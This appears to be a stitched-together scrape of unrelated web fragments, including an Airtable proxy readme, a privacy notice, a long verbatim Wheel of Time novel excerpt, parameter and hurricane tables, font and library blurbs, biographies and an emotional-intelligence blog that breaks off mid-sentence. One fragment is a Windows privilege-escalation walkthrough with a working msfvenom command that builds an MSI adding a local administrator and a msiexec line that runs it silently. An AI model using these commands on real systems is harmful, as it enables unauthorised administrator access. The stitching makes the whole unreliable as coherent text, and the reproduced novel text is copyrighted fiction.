The Airtable Proxy is a simple Flask application that will make multiple paginated Airtable requests on your behalf and return a single non-paginated result.
In many common tools, such as Excel and Power BI you will have to do scripting if you want to handle Airtable paginated results. This proxy simplifies that process.
To achieve this result, the proxy will store your API key and data in memory for a short period of time. Your API key might also show up in server logs as it sent in the query string. This is therefore not recommended for personal or sensitive data, unless you trust the proxy host.
By default, your API key is included in plain-text in the URL. That means if you share the URL with anyone, they can use your API key to make any API request you are allowed to make. You can obfuscate the API key by ticking the checkbox. This will generate a URL that is only valid for options you included.
You can simply launch this service yourself, and templates for Docker and Heroku are included.
To get started, you will need your Airtable base ID, the table name, and your personal API key. Visit Airtable API for details.


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{% extends 'base_template.html' %} {% block privacy %}
Praeder's Data Policy and Terms PERSONAL INFORMATION WE COLLECT When you visit the Site, we do not collect any data. When a Scan is submitted to our website, we retain the items for only 24h before automatically deleting them. No Metadata is stored. Scan Data is NEVER shared with any 3rd parties. We are never a replacement for a consultation with your doctor. Approach a medical professional if you have any symptoms that require medical attention. CONTACT US For more information about our privacy practices, if you have questions, or if you would like to make a complaint, please contact me @viggibear


Now that we know AlwaysInstallElevated is enabled for both the local machine and the current user, we can proceed to utilize MSFVenom to generate an MSI file that, when executed on the victim machine, will add a user to the Local Administrators group:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
Once you have our newly created MSI file loaded on the victim, we can leverage a command-line tool within Windows, Msiexec, to covertly (in the background) run the installation:
#quiet=suppress messages, qn=no gui, i=regular (vs admin) installation
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
Note: MSI files created with MSFVenom as well as with the always_install_elevated module discussed below, will fail during installation. This behavior is intentional and meant to prevent the installation being registered with the operating system.
Metasploit: exploit/windows/local/always_install_elevated
Set QUIET
PowerSploit: Write-UserAddMSI
Advanced Installer (free edition)


CSS by Cody
Fred
3 links to references and at least 8 other CSS commands on this page
w3schools.com/cssref
w3.org/Style/Examples/011/firstcss.en
learn.shayhowe.com/html-css/getting-to-know-css
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This is a paragraph with class="ex". This text is light blue .
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Lying facedown on his blankets with his eyes closed, Mat luxuriated in the feel of Melindhra’s thumbs kneading their way down his spine. There was nothing quite as good as a massage after a long day in the saddle. Well, some things were, but right then, he was willing to settle for her thumbs.
“You are well muscled for such a short man, Matrim Cauthon.”
He opened one eye and glanced back at her, kneeling astride his hips. She had built the fire up twice as high as needed, and sweat trickled down her body. Her fine golden hair, close-cut except for that Aiel tail at the nape of her neck, clung to her scalp. “If I’m too short, you can always find somebody else.”
“You are not too short for my taste,” she laughed, ruffling his hair. It was longer than hers. “And you are cute. Relax. This does no good if you tense.”
Grunting, he closed his eyes again. Cute? Light! And short. Only Aiel could call him short. In every other land he had been in, he was taller than most men, if not always by much. He could remember being tall. Taller than Rand, when he rode against Artur Hawkwing. And a hand shorter than he was now when he fought beside Maecine against the Aelgari. He had spoken to Lan, claiming he had overheard some names; the Warder said Maecine had been a king of Eharon, one of the Ten Nations—that much Mat already knew—some four or five hundred years before the Trolloc Wars. Lan doubted that even the Brown Ajah knew more; much had been lost in the Trolloc Wars, and more in the War of the Hundred Years. Those were the earliest and latest of the memories that had been planted in his skull. Nothing after Artur Paendrag Tanreall, and nothing before Maecine of Eharon.
“Are you cold?” Melindhra said incredulously. “You shivered.” She scrambled off him, and he heard her add wood to the fire; there was enough scrub here for burning.  It was not that he did not enjoy Melindhra—as long as she refrained from pointing out that she was taller, anyway—but the situation made him uncomfortable.
“No spits for you, Matrim Cauthon.” Her thumbs dug hard into his shoulder. “That is it. Relax.”
He supposed that he would marry someday, settle down. That was what you did. A woman, a house, a family. Shackled to one spot for the rest of his life. I never heard of a wife yet that liked her husband having a drink or a gamble. And there was what those folk on the other side of the doorframe ter’angreal had said. That he was fated “to marry the Daughter of the Nine Moons.” A man has to marry sooner or later, I suppose. But he certainly did not mean to take an Aiel wife. He wanted to dance with as many women as he could, while he could.
“You are not made for spits, but for great honor, I think,” Melindhra said softly.
“Sounds fine to me.” Only now he could not get another woman to look at him, not the Maidens or the others. It was as if Melindhra had hung a sign on him saying owned by Melindhra of the Jumai Shaido. Well, she would not have put that last bit on, not here. Then again, who knew what an Aiel would do, especially a Maiden of the Spear? Women did not think the same as men, and Aiel women did not think like anybody else in the world.
“It is strange that you efface yourself so.”
“Efface myself?” he mumbled. Her hands did feel good; knots were coming out that he had not known were there. “How?” He wondered if it had something to do with that necklace. Melindhra seemed to set great store by it, or by receiving it, anyway. She never wore the thing, of course. Maidens did not. But she carried it in her pouch, and showed it to every woman who asked. A lot of them seemed to.
“You put yourself in the shadow of Rand al’Thor.”
“I’m not in anybody’s shadow,” he said absently. It could not be the necklace. He had given jewelry to other women, Maidens and others; he liked giving things to pretty women, even if all he got in return was a smile. He never expected more. If a woman did not enjoy a kiss and a cuddle as much as he did, what was the point?
“Of course, there is honor of a sort in being in the shadow of the Car’a’carn. To be near the mighty, you must stand in their shade.”
“Shade,” Mat agreed, not really hearing. Sometimes the women accepted and sometimes not, but none had decided they owned him. That was what rankled, really. He was not about to be owned by any woman, however pretty she was. And no matter how good her hands were at loosening knotted muscles.
“Your scars should be scars of honor, earned in your own name, as a chief, not this.” One finger traced along the hanging scar on his neck. “Did you earn this serving the Car’a’carn?”
Shrugging her hand away, he pushed up on his elbows and twisted to look at her. “Are you sure ‘Daughter of the Nine Moons’ doesn’t mean anything to you?”
“I have told you it does not.
Hands on hips, she looked down at him dangerously. “Do you think that you can . . . welt my rump, Mat Cauthon?”
“I’ll give it my best try.” She would probably put a spear through his ribs. “Do you swear you’ve never heard of the Daughter of the Nine Moons?”
“I never have,” she said slowly. “Who is she? Or what? Lie down, and let me—”
A blackbird called, seemingly everywhere in the tent and outside as well, and a moment later, a redwing. Good Two Rivers birds. Rand had chosen his warnings from what he knew, birds not found in the Waste.
 She darted from the tent like that.
 Mat muttered as he struggled into his breeches. A redwing meant the south. He and Melindhra had put up their tent to the south, with the Chareen, as far from Rand as they could get and stay in the encampment. But he was not going outside in those thornbushes naked, the way Melindhra had. The blackbird meant north, where the Shaarad were camped; they were coming from two sides at once.
Stamping his feet in his boots as best he could in the low tent, he looked at the silver foxhead lying beside his blankets. Shouts were rising outside, the clash of metal on metal. He had finally figured out that that medallion had somehow kept Moiraine from Healing him on her first try. So long as he had been touching it, her channeling had not affected him. He had never heard of Shadowspawn able to channel, but there was always the Black Ajah—so Rand said, and he believed it—and always the chance that one of the Forsaken had finally come after Rand. Pulling the leather thong over his head so the medallion hung on his chest, he snatched up his raven-marked spear and ducked out into cold moonlight.
He had no time to feel the icy chill. Before he was completely out of the tent, he almost lost his head to a scythe-curved Trolloc sword. The blade brushed his hair as he threw himself into a low dive, rolling to his feet with the spear ready.
At first glance in the darkness, the Trolloc might have been a bulky man, though half again as tall as any Aielman, garbed all in black mail with spikes at elbows and shoulders, and a helmet with goat’s horns attached. But these horns grew out of that too human head, and below the eyes a goat’s muzzle thrust out.
Snarling, the Trolloc lunged at him, and howled in a harsh language never meant for a human tongue. Mat spun his spear like a quarterstaff, knocking the heavy, curved blade to one side, and thrust his long spearpoint into the creature’s middle, mail parting for that Power-made steel as easily as the flesh beneath. The goat-snouted Trolloc folded over with a harsh cry, and Mat pulled his weapon free, dodging aside as it fell.
All around him Aiel, some unclothed or only half but all black-veiled, fought Trollocs with tusked boars’ snouts or wolves’ muzzles or eagles’ beaks, some with heads horned or crested with feathers, wielding those oddly curved swords and spiked axes, hooked tridents and spears. Here and there one used a huge bow to shoot barbed arrows the size of small spears. Men fought alongside the Trollocs, too, in rough coats, with swords, shouting desperately as they died among the thornbushes.
“Sammael!”
“Sammael and the Golden Bees!”
The Darkfriends were dying, most as soon as they engaged an Aiel, but the Trollocs died harder.
 Mat shouted to no one in particular as he battled a Trolloc with a bear’s muzzle and hairy ears, his third.  It was being near Rand that got Mat into these things. All he wanted from life was some good wine, a game of dice, and a pretty girl or three. “I don’t want to be mixed up in this!” Especially not if Sammael was around. “Do you hear me?”
The Trolloc went down with a ruined throat, and he found himself facing a Myrddraal, just as it finished killing two Aiel who had come at it together.  It moved like a snake, too, boneless and fluid and quick, night-black cloak hanging still however it darted. And it had no eyes. Just a dead-white sweep of skin where eyes should be.
That eyeless gaze turned on him, and he shivered, fear oozing along his bones. “The look of the Eyeless is fear,” they said in the Borderlands, where they should know, and even Aiel admitted that a Myrddraal’s stare sent chills through the marrow. That was the creature’s first weapon. The Halfman came at him in a flowing run.
With a roar, Mat rushed to meet it, spear spinning like a quarterstaff, thrusting, ever moving. The thing carried a blade as dark as its cloak, a sword hammered at the forges of Thakan’dar, and if that cut him, he was as good as dead unless Moiraine appeared quickly with her Healing. But there was only one sure way to take down a Fade. All-out attack; you had to overwhelm it before it overwhelmed you, and a thought for defense could be a good way to die. He could not even spare a glance for the battle raging around him in the night.
 When raven-marked Power-wrought steel met Thakan’dar-made metal, blue light flashed around them, a crackle of sheet lightning.
Suddenly Mat’s slashing attack struck flesh. Black sword and pale hand flew away, and the reverse stroke sliced open the Myrddraal’s throat, but Mat did not stop. Thrust through the heart, cut to one hamstring, then the other, all in rapid succession. Only then did he step away from the thing still thrashing on the ground, flailing about with its good hand and severed stump, wounds spilling inky blood. Halfmen took a long time to admit that they were dead; they did not die completely except with a setting sun.
Looking around, Mat realized that the attack was over. Whatever Darkfriends or Trollocs were not dead, had fled; at least, he saw none standing except Aiel. Some of them were down, too. He plucked a kerchief from the neck of a Darkfriend corpse to wipe the Myrddraal’s black blood from his spearpoint. It would etch the metal if left too long.
This night assault made no sense. By the bodies he could see in the moonlight, Trolloc and human, none had made it much past the first line of tents. And without far greater numbers, they could not have hoped for more.
“What was that you called out? Carai something. The Old Tongue?”
He turned to look at Melindhra. She had unveiled, but she still wore not a stitch more than her shoufa. There were other Maidens about, and men, wearing as little, and showing as little concern, though most did seem to be heading back to their tents without lingering. They had no modesty, that was it. No modesty at all. She did not even seem to feel the cold, though her breath made wisps of mist. He was as sweaty as she, and freezing now that he had no fight for his life to occupy his mind.
“Something I heard once,” he told her. “I liked the sound of it.” Carai an Caldazar! For the honor of the Red Eagle. The battle cry of Manetheren. Most of his memories were from Manetheren. Some of those he had had before the twisted doorway. Moiraine said it was the Old Blood coming out. Just as long as it did not come out of his veins.
She put an arm around his shoulders as he started back toward their tent. “I saw you with the Nightrunner, Mat Cauthon.” That was one of the Aiel names for Myrddraal. “You are as tall as a man needs to be.”
 He wanted to—his thoughts were too snarled in his borrowed memories—but he could not. Why had anyone launched such a hopeless assault? No one but a fool attacked overwhelming force without a reason. That was the thought he could not pry out of his head. No one attacked without a reason.
The birdcalls pulled Rand awake immediately, and he seized saidin as he tossed the blankets aside and ran out, coatless, in his stocking feet. The night was cold and moonlit, faint sounds of battle drifting up from the hills below the pass. Around him, Aiel stirred like scurrying ants, rushing into the night to where an attack might come here in the pass. The wards would signal again—Shadowspawn in the pass would cause a winterfinch to call—until he unraveled them in the morning, but there was no point in taking foolish chances.
Soon the pass was still again, the gai’shain in their tents, forbidden weapons even now, the other Aiel off at the places that might need defending. Even Adelin and the other Maidens had gone, as if they knew he would have held them back if they waited. He could hear a few mutters from the wagons near the town walls, but neither the drivers nor Kadere showed themselves; he did not expect them to. The faint sounds of battle—men shouting, screaming, dying—came from two directions. Both below, well away from him. People were out around the Wise Ones’ tents, too; staring toward the fighting, it seemed.
An attack down there made no sense. It was not the Miagoma, not unless Timolan had taken Shadowspawn into his clan, and that was as likely as Whitecloaks recruiting Trollocs. He turned back toward his tent, and even enclosed in the Void he gave a start.
Aviendha had come out into the moonlight, a blanket wrapped around her. Just beyond her stood a tall man shrouded in a dark cloak; moonshadows drifted over a gaunt face that was too pale, with eyes too large. A crooning rose, and the cloak opened into wide, leathery wings like those of a bat. Moving as in a dream, Aviendha drifted toward the waiting embrace.
Rand channeled, and finger-thin balefire burned past her, an arrow of solid light, to take the Draghkar in the head. The effect of that narrower stream was slower, but no less sure than with the Darkhounds. The creature’s colors reversed, black to white, white to black, and it became sparkling motes that melted in air.
Aviendha shook herself as the crooning ended, stared at the last particles as they vanished, and turned to Rand, gathering the blanket closer. Her hand came up, and a stream of fire as thick as his head roared toward him.
Startled even inside the emptiness, never thinking of the Power, he threw himself to the ground beneath the billowing flames. They died in an instant.
“What are you doing?” he barked, so angry, so shocked, that the Void cracked and saidin vanished from him. He scrambled to his feet, stalking toward her. “This tops any ingratitude I ever heard of!” He was going to shake her until her teeth rattled.  Awkwardly clutching the blanket close, she ducked stiff-backed into the tent.
For the first time, he looked behind him. At another Draghkar, crumpled on the ground in flames. He had been so angry that he had not heard the crackling and popping as it burned, had not smelled the odor of burning grease. He had not even sensed the evil of it.  It had to be close, touching, but this one lay no more than two paces from where he had been standing. He was not certain how effective a Draghkar’s crooning embrace was against someone filled with saidin, but he was glad he had not found out.
Drawing a deep breath, he knelt beside the tent flap. “Aviendha?” He could not go in. A lamp was lit in there, and she could be sitting there naked for all he knew, mentally ripping him up and down the way he deserved. “Aviendha, I am sorry. I apologize. I was a fool to speak as I did without asking why. I should know that you wouldn’t harm me, and I . . . I . . . I’m a fool,” he finished weakly.
“A great deal you know, Rand al’Thor,” came a muffled reply. “You are a fool!”
How did Aiel apologize? He had never asked her that. Considering ji’e’toh, teaching men to sing, and wedding customs, he did not think he would. “Yes, I am. And I apologize.” There was no answer this time. “Are you in your blankets?” Silence.
Muttering to himself, he stood, working his stockinged toes on the icy ground. He was going to have to remain out here until he was sure she was decently covered. Without boots or coat. He seized hold of saidin, taint and all, just to be distanced from the bone-grinding cold, inside the Void.
The three Wise One dreamwalkers came running, of course, and Egwene, all staring at the burning Draghkar as they skirted it, drawing their shawls around them with almost the same motion.
“Only one,” Amys said. “I thank the Light, but I am surprised.”
“There were two,” Rand told her. “I . . . destroyed the other.” Why should he be hesitant just because Moiraine had warned him against balefire? It was a weapon like any other. “If Aviendha had not killed this one, it might have gotten me.”
“The feel of her channeling drew us,” Egwene said, looking him up and down. At first he thought she was checking for injuries, but she paid special attention to his stocking feet, then glanced at the tent, where a crack in the tent flap showed lamplight. “You’ve upset her again, haven’t you?  Men!” With a disgusted shake of her head, she brushed past him and into the tent. He heard faint voices, but could not make out what was being said.
Melaine gave a hitch to her shawl. “If you do not need us, then we must see what is happening below.” She hurried off without waiting for the other two.
Bair cackled as she and Amys followed. “A wager on who she will check on first? My amethyst necklace that you like so much against that sapphire bracelet of yours?”
“Done. I choose Dorindha.”
The older Wise One cackled again.  A first-sister is a first-sister, but a new husband . . . ”
They moved on out of earshot, and he bent toward the tent flap. He still could not hear what they were saying, not unless he stuck his ear to the crack, and he was not about to do that. Surely Aviendha had covered herself with Egwene in there. Then again, the way Egwene had taken to Aiel ways, it was just as likely she had peeled out of her clothes instead.
The soft sound of slippers announced Moiraine and Lan, and Rand straightened. Though he could hear both of them breathing, the Warder’s steps still made barely an audible noise. Moiraine’s hair hung about her face, and she held a dark robe around her, the silk shining with the moon. Lan was fully dressed, booted and armed, wrapped in that cloak that made him part of the night. Of course. The clamor of fighting was dying down in the hills below.
“I am surprised you were not here sooner, Moiraine.” His voice sounded cold, but better his voice than him. He held onto saidin, fought it, and the night’s icy chill remained something far off. He was aware of it, aware of each hair on his arms stirring with cold beneath his shirtsleeves, but it did not touch him. “You usually come looking for me as soon as you sense trouble.”
“I have never explained all that I do or do not do.” Her voice was as coolly mysterious as it had ever been, yet even in the moonlight Rand was certain that she was blushing. Lan looked troubled, though with him it was difficult to tell. “I cannot hold your hand forever. Eventually, you must walk alone.”
“I did that tonight, didn’t I?” Embarrassment slid across the Void—that sounded as though he had done everything himself—and he added, “Aviendha all but took that one off my back.” The flames on the Draghkar were burning low.
“As well she was here, then,” Moiraine said calmly. “You did not need me.”
She had not been afraid, of that he was sure. He had seen her rush into the midst of Shadowspawn, wielding the Power as skillfully as Lan did his sword, seen it too often to believe fear in her. So why had she not come when she sensed the Draghkar? She could have, and Lan as well; that was one of the gifts a Warder received from the bond between him and an Aes Sedai. He could make her tell, catch her between her oath to him and her inability to lie straight out. No, he could not. Or would not. He would not do that to someone who was trying to help him.
“At least now we know what the attack below was about,” he said. “To make me think something important was happening there while the Draghkar slipped in on me. They tried that at Cold Rocks Hold, and it did not work there either.” Only, maybe it almost had, this time. If that had been the intent. “You would think they would try something different.” Couladin ahead of him; the Forsaken everywhere, it seemed. Why could he not face one enemy at a time?
“Do not make the mistake of thinking the Forsaken simple,” Moiraine said. “That could easily be fatal.” She shifted her robe as though wishing it were thicker. “The hour is late. If you have no further need of me . . . ?”
Aiel began to drift back as she and the Warder left. Some exclaimed over the Draghkar, and roused some of the gai’shain to drag it away, but most simply looked at it before going to their tents. They seemed to expect such things of him now.
When Adelin and the Maidens appeared, their soft-booted feet dragged. They stared at the Draghkar being hauled away by white-robed men, and exchanged long looks before approaching Rand.
“There was nothing here,” Adelin said slowly. “The attack was all below, Darkfriends and Trollocs.”
“Shouting ‘Sammael and the Golden Bees,’ I heard,” another added. With her head wrapped in a shoufa, Rand could not make out who she was. She sounded young; some of the Maidens were no more than sixteen.
 The others did the same, one spear each. “We—I—failed,” Adelin said. “We should have been here when the Draghkar came. Instead we ran like children to dance the spears.”
“What am I supposed to do with those?” Rand asked, and Adelin replied without hesitation.
“Whatever you wish, Car’a’carn. We stand ready, and will not resist.”
Rand shook his head.  “You take those and go back to guarding my tent. Well? Go.” Looks passed between them before they began to obey, as reluctantly as they had approached him in the first place. “And one of you tell Aviendha that I will be coming in when I return,” he added. He was not going to spend the entire night outside wondering whether it was safe. He stalked away, the stony ground hard under his feet.
Asmodean’s tent was not very far from his. There had not been a sound out of it. He whipped open the flap and ducked in. Asmodean was sitting in the dark, chewing his lip. He flinched when Rand appeared, and gave him no chance to speak.
“You did not expect me to take a hand, did you? I felt the Draghkar, but you could deal with those; you did. I have never liked Draghkar; we should never have made them. They have fewer brains than a Trolloc. Give them an order, and they still sometimes kill whatever is closest.  What if someone noticed? What if they realized it could not be you channeling?
The other man’s laugh was shaky. “I thought of that, too.”
“It was Sammael who sent the attack tonight. The Trollocs and Darkfriends, anyway.”
“It is not like Sammael to throw men away,” Asmodean said slowly. “But he’ll see ten thousand dead, or ten times that, if it gains him what he thinks is worth the cost. Maybe one of the others wants you to think it was him. Even if the Aiel took prisoners . . . Trollocs do not think of much besides killing, and Darkfriends believe what they are told.”
“It was him. He tried to bait me into attacking him once in the same way, at Serendahar.” Oh, Light! The thought drifted across the surface of the Void. I said “me.” He did not know where Serendahar had been, or anything but what he had said. The words had just come out.
After a long silence, Asmodean said quietly, “I never knew that.”
“What I want to know is, why?” Rand chose his words carefully, hoping that they were all his. He remembered Sammael’s face, a man—Not mine. Not my memory—a compact man with a short yellow beard. Asmodean had described all the Forsaken, but he knew this image was not made from that description. Sammael had always wanted to be taller, and resented it that the Power could not make him so. Asmodean had never told him that. “From what you’ve told me, he is not likely to want to face me unless he is sure of victory, and maybe not then. You said he’d likely leave me to the Dark One, if he could. So why is he sure he’ll win now, if I decide to go after him?”
They discussed it in the dark for hours without coming to any conclusion. Asmodean held to the opinion that it had been one of the others, hoping to send Rand against Sammael and thus get rid of one or both; at least, Asmodean said that he did. Rand could feel the man’s dark eyes on him, wondering. That slip had been too big to cover.
When he finally returned to his own tent, Adelin and the dozen Maidens all sprang to their feet; all of them at once telling him that Egwene was gone and Aviendha long asleep, that she was angry with him, they both were. They gave so many different pieces of advice on handling the two women’s anger, all at the same time, that he could understand none of it. Finally they fell silent, looks passing between them, and Adelin spoke alone.
“We must speak of tonight. Of what we did, and what we failed to do. We—”
“It was nothing,” he told her, “and if it was something, it’s forgiven and forgotten. I would like to have a few hours’ sleep for once. If you want to discuss it go talk to Amys or Bair. I am sure they’ll understand what you’re after more than I do.” That shut them up, surprisingly, and let him get inside.
Aviendha was in her blankets, with one slim, bare leg sticking out. He tried not to look at it, or her. She had left a lamp lit. He climbed into his own blankets gratefully and channeled the lamp out before releasing saidin. This time he dreamed of Aviendha hurling fire, only she was not hurling it at a Draghkar, and Sammael was sitting at her side, laughing.


| joint_params.joints[0].kp | SET | |
| joint_params.joints[0].ki | SET | |
| joint_params.joints[0].kd | SET | |
| joint_params.joints[0].max_i | SET | |
| joint_params.joints[0].max_pwm | SET | |
| joint_params.joints[0].min_pwm | SET | |
| joint_params.joints[0].max_speed | SET | |
| joint_params.joints[0].slope | SET | |
| joint_params.joints[0].h_bridge_type | SET | |
| joint_params.joints[0].h_bridge_pins[0] | SET | |
| joint_params.joints[0].h_bridge_pins[1] | SET | |
| joint_params.joints[0].h_bridge_pins[2] | SET | |
| joint_params.joints[1].kp | SET | |
| joint_params.joints[1].ki | SET | |
| joint_params.joints[1].kd | SET | |
| joint_params.joints[1].max_i | SET | |
| joint_params.joints[1].max_pwm | SET | |
| joint_params.joints[1].min_pwm | SET | |
| joint_params.joints[1].max_speed | SET | |
| joint_params.joints[1].slope | SET | |
| joint_params.joints[1].h_bridge_type | SET | |
| joint_params.joints[1].h_bridge_pins[0] | SET | |
| joint_params.joints[1].h_bridge_pins[1] | SET | |
| joint_params.joints[1].h_bridge_pins[2] | SET |


Peony
The peony or paeony is a flowering plant in the genus Paeonia, the only genus in the family Paeoniaceae. Peonies are native to Asia, Europe and Western North America. Scientists differ on the number of species that can be distinguished, ranging from 25 to 40, although the current consensus is 33 known species.The relationships between the species need to be further clarified.
Most are herbaceous perennial plants 0.25–1 metre (1–3 ft) tall, but some are woody shrubs 0.25–3.5 metres (1–11 ft) tall. They have compound, deeply lobed leaves and large, often fragrant flowers, in colors ranging from purple and pink to red, white or yellow, in late spring and early summer. The flowers have a short blooming season, usually only 7–10 days.
Peonies are popular garden plants in temperate regions. Herbaceous peonies are also sold as cut flowers on a large scale, although generally only available in late spring and early summer.


|
Hurricane Track and Intensity |
.......... |
|
..... |
|
.... |
| Atlantic Storms | Alex | Bonnie | Colin | Danielle | Earl | Fiona | Gaston | Hermine | Igor | Julia | karl | Lisa | Nicole | Otto | Paula | Richard | Shary | Tomas |
| mean track | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X |
| mean intensity | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X | X |
| East Pacific Storms | Agatha | Blas | Celia | Darby | Estelle | Frank | Georgette |
| track | X | X | X | X | X | X | X |
| intensity | X | X | X | X | X | X | X |
| West Pacific Storms | Conson | Chanthu | Dianmu | Mindulle | Lionrock | Kompasu | Namtheun | Malou | Meranti | Fanapi | Malakas | Megi | Chaba |
| track | X | X | X | X | X | X | X | X | X | X | X | X | X |
| track | X | X | X | X | X | X | X | X | X | X | X | X | X |


A reminder bar is displayed whenever the CloudBees Jenkins Advisor plugin is not set up. The “Dismiss” button will hide the reminder bar for 10 minutes. Add your email to the configuration page to begin using CloudBees Jenkins Advisor.
If this Jenkins instance does not have direct internet access, this instance can never register for the CloudBees Jenkins Advisor service. Checking this option will permanently dismiss this reminder.


Complete with pre-defined file paths and responsive navigation!
Abril Fatface is part of a bigger type family system, Abril, which includes 18 styles for all Display and Text uses.
Dalton Maag is an international font foundry specializing in type design and digital font production.
This is a Slab version of Josefin Sans
Dalton Maag is an international font foundry specializing in type design and digital font production.
Arizonia was inspired by the flowing forms created by a sign painter's camel hair brush.
Great Vibes is a beautifully flowing connecting script.
Tangerine is a calligraphic typeface inspired by many italic chancery hands from the 16th and 17th centuries.
Vernon practiced typeface design from 2007 to 2014. A lifelong artist, during this time he eagerly explored designing type for the cloud-based era.
Lobster Two is a family version of the original Lobster.
Dawning of a New Day is based on the handwriting of a friend.
Co-Founder and Chief Executive Officer
Co-Founder and Chief Technology Officer
Senior Director of User Experience


node-sass-selector-importer
With selector importing, it is possible to import only certain CSS selectors form a file. This is especially useful if you want to import only a few CSS classes from a huge library or framework.
Usage
var sass = require('node-sass');
var selectorImporter = require('node-sass-selector-importer');
sass.render({
...
importer: selectorImporter
...
});
// Example:
@import '{ .btn, .btn-alert } from style.scss';
// Result:
.btn { ... }
.btn-alert { ... }
Transform imported selectors
// Example:
@import '{ .btn as .button, .btn-alert as .button--alert } from style.scss';
// Result:
.button { ... }
.button--alert { ... } // Transformed to match BEM syntax.
Usage with Bootstrap
Bootstrap is a mighty and robust framework but most of the time you use only certain parts of it. There is the possibility to customize Bootstrap to your needs but this can be annoying and you still end up with more code than you need. Also you might want to use just some specific parts of Bootstrap but your project uses the BEM syntax for writing class names.
// This example uses the v4 dev version of the Bootstrap `alert` component:
// https://github.com/twbs/bootstrap/blob/v4-dev/scss/_alert.scss
@import 'bootstrap/scss/variables';
@import 'bootstrap/scss/mixins/border-radius';
@import 'bootstrap/scss/mixins/alert';
@import '{
.alert,
.alert-dismissible as .alert--dismissible,
.close as .alert__close
} from bootstrap/scss/alert';
// Result:
.alert {
padding: 15px;
margin-bottom: 1rem;
border: 1px solid transparent;
border-radius: 0.25rem;
}
.alert--dismissible {
padding-right: 35px;
}
.alert--dismissible .alert__close {
position: relative;
top: -2px;
right: -21px;
color: inherit;
}
CLI
node-sass --importer node_modules/node-sass-selector-importer -o dist src/index.scss
About
Author
Markus Oberlehner
Twitter: https://twitter.com/MaOberlehner
License
MIT


Building web applications that are easy to use and reliable are of my highest priorities.
I believe that software should work for users.
Users should NOT have to work for the software.
I prefer working with teams that keep everything planned.
I've learned that having a solid design before coding enhances the project's success.
I've learned that working thru all combinations of test scenarios (when possible) produces the most reliable code.
I'm most familiar with using Node.js, Express.js, Vue.js and MySQL technologies.


Rem Koolhaas (Rotterdam, 1944) founded OMA in 1975 together with Elia and Zoe Zenghelis and Madelon Vriesendorp. He graduated from the Architectural Association in London and in 1978 published Delirious New York: A Retroactive Manifesto for Manhattan. In 1995, his book S,M,L,XL summarized the work of OMA in "a novel about architecture". He co-heads the work of both OMA and AMO, the research branch of OMA, operating in areas beyond the realm of architecture. His built work includes the Axel Springer Campus in Berlin (2020), the Qatar National Library and the Qatar Foundation Headquarters (2018), Fondation Galeries Lafayette in Paris (2018), Fondazione Prada in Milan (2015/2018), Garage Museum of Contemporary Art in Moscow (2015), the headquarters for China Central Television (CCTV) in Beijing (2012), Casa da Musica in Porto (2005), Seattle Central Library (2004), and the Netherlands Embassy in Berlin (2003). Current projects include the Taipei Performing Arts Centre and the renovation of Tretyakov Gallery in Moscow. Koolhaas directed the 2014 Venice Architecture Biennale, is a professor at Harvard University, and curated Countryside: The Future (2020), an exhibition about the non-urban areas around the globe that opened in February 2020 at the Guggenheim Museum in New York.
Remment Lucas Koolhaas born 17 November 1944 is a Dutch architect, architectural theorist, urbanist and Professor in Practice of Architecture and Urban Design at the Graduate School of Design at Harvard University. He is often cited as a representative of Deconstructivism and is the author of Delirious New York: A Retroactive Manifesto for Manhattan. He is seen by some as one of the truly significant architectural thinkers and urbanists of his generation, by others as a self-important iconoclast. In 2000, Rem Koolhaas won the Pritzker Prize.
In 2008, Time put him in their top 100 of The World's Most Influential People. Koolhaas's book Delirious New York set the pace for his career. Koolhaas analyzes the "chance-like" nature of city life: "The City is an addictive machine from which there is no escape" "Rem Koolhaas...defined the city as a collection of 'red hot spots'." As Koolhaas himself has acknowledged, this approach had already been evident in the Japanese Metabolist Movement in the 1960s and early 1970s.
Contact the Artist about their work or something else.


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I really enjoyed the research part iunder sprint 3-core. The research on the above topic could not have happened in a better timing. I revisited facts I knew but I also deepened my prior understanding as well as discovered new facts which I will be sharing with you in this blog today.
Lets’ start from the beginning, shall we?
1. What is Emotional Intelligence?
Many definititions can be found online, and they all point out the same things. That Emotional intelligence (EQ) is the ability to identify, use, understand, and manage emotions in positive ways in order to relieve stress, communicate effectively, empathise with others, overcome challenges, and defuse conflict.
In other words emotional intelligence can definitely impact the many different aspects of our daily lives, starting from the way we behave and the way we interact with others.
2. How is EQ different to IQ?
Intelligence quotient or IQ, is a number derived from a standardized intelligence test. On the original IQ tests, scores are calculated by dividing the individual's mental age by his or her chronological age and then multiplying that number by 100.
IQ represents abilities such as:
Whereas Emotional Intelligence EQ, on the other hand, is a measure of a person's level of emotional intelligence. IT refers to a person's ability to perceive, control, evaluate, and express emotions.
EQ is centered on abilities such as:
3. How does Emotional Intelligence looks like?
A person with a high emotional intelligence has the ability to identify and recognise their own emotional state as well as the emotional states of other beings around them. They also engage with others in a way where others feel drawn to go towards them. They use their understanding of emotions in order to relate better to other people, and in doing so, they have the ability to create healthy relationships with beings in their daily life. It also impacts on their ability in achieving a greater success at work. In brief, a person with a high EQ or EI leads, being always as their optimal level, lives a more fulfilling life.In my research on the subject, I was surprised to learn that Emotional intelligence consists of four key attributes, which I will now be sharing with you.
1. Self-awareness
Which guides us in being able to identify and recognise our very own emotions. I can also help us in going one step deeper where with self-awareness, we are able to notice as well how these emotions we feel can affect our thoughts and of course, in a domino effect, our behaviour. It also helps us in noticing and accepting our strengths and limitations, without having any change to our level of self-confidence.
2. Self-management
It brings me back to my experience in Early childhood, where we would plan strategies to help and support tamariki in regulating their emotions and responses to them. Self-management is in other words emotional regulation where we are able to control these impulsive feelings and behaviours that do pop out from time to time, and sometimes when we expect it the least. This attribute of emotional intellingence helps us in managing our emotions in a healther way. It also enoucourages us in being proactive and in taking initiative, following through with our numerous commitments, and lastly, it is seen in the ability to adapt to change.
3. Social awareness
With this awareness, we are able to understand the emotions, needs, and concerns of people around us in our daily routine. We are also able to pick up on emotional cues. We feel comfortable socially, and we can easily recognise and identify the different dynamics existing within a team, a group of people or an organisation.
4. Relationship management
We are able to create and maintain genuine relationships, where we showcase clear communication, we can even inspire and influence others around us. We often can be seen as a team-player, and we show great skills in regards to conflict-management.
4. In which instances do I need to manage my Emotional Intelligence?
In life of course, many things are unpredictable and many a times,when we encounter certain situations, we do react rather than pause reconnect to our growth mindset and respond. Some of these tricky situations where the ability to “self-manage” our emotions kind of goes pass us and through the window are:
